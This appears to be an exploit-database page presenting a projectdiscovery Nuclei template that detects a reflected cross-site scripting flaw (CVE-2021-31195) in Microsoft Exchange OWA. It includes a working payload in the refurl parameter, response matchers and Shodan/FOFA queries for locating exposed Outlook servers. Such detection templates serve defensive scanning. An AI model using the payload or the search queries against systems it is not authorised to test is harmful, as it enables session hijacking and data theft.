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Materialized exploit

CVE-2021-31195

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
Nuclei medium Verified
Source

Microsoft Exchange Server - Cross-Site Scripting

By projectdiscovery

How to test this exploit

The Nuclei template IS the test: an executable detection rule. Install nuclei, then run it against a target you control.

nuclei -id CVE-2021-31195 -u https://your-target

Template yaml

id: CVE-2021-31195

info:
  name: Microsoft Exchange Server - Cross-Site Scripting
  author: infosecsanyam
  severity: medium
  description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
  reference:
    - https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31195
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-31195
    cwe-id: CWE-79
    epss-score: 0.73676
    epss-percentile: 0.99432
    cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: exchange_server
    shodan-query:
      - http.title:"Outlook"
      - http.favicon.hash:1768726119
      - http.title:"outlook"
      - cpe:"cpe:2.3:a:microsoft:exchange_server"
    fofa-query:
      - title="outlook"
      - icon_hash=1768726119
    google-query: intitle:"outlook"
  tags: cve2021,cve,microsoft,exchange,owa,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'alert(document.domain)//&et=ServerError'
          - 'mail/bootr.ashx'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 500
# digest: 4b0a004830460221008884095dacf4b457e7d4bb7c1fd81886b812865c7d5f02bfc1ef340e4b2b5ff40221009f9c8c4164b4beaca12f015ea4fafa4bef61250381d112317dffaf2db349d7f8:922c64590222798bb761d5b6d8e72950